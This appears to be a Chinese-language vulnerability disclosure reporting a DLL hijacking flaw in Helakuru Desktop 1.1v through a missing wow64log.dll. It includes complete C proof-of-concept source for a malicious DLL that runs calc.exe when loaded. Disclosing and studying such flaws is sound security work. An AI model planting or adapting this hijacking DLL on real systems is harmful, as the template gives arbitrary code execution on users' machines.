摘要
Helakuru 桌面版 1.1v 可在 64 位和 32 位架构上运行。在测试过程中发现，该程序会尝试加载 wow64log.dll，而现代 Windows 操作系统默认不包含此 DLL。这会导致"Name not found"（名称未找到）错误，使程序面临 DLL 劫持漏洞。通过构造恶意的 wow64log.dll，可以实现任意代码执行。
受影响版本
Helakuru Desktop 1.1v
复现步骤
#include <windows.h>
#include <stdio.h>
void LaunchCalculator()
{
STARTUPINFOA si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
const char* calcCmd = "C:\\Windows\\System32\\calc.exe";
if (!CreateProcessA(
NULL,
(LPSTR)calcCmd,
NULL,
NULL,
FALSE,
0,
NULL,
NULL,
&si,
&pi))
{
printf("CreateProcess failed (%d).\n", GetLastError());
}
else
{
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
LaunchCalculator();
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
影响：该漏洞允许任意代码执行。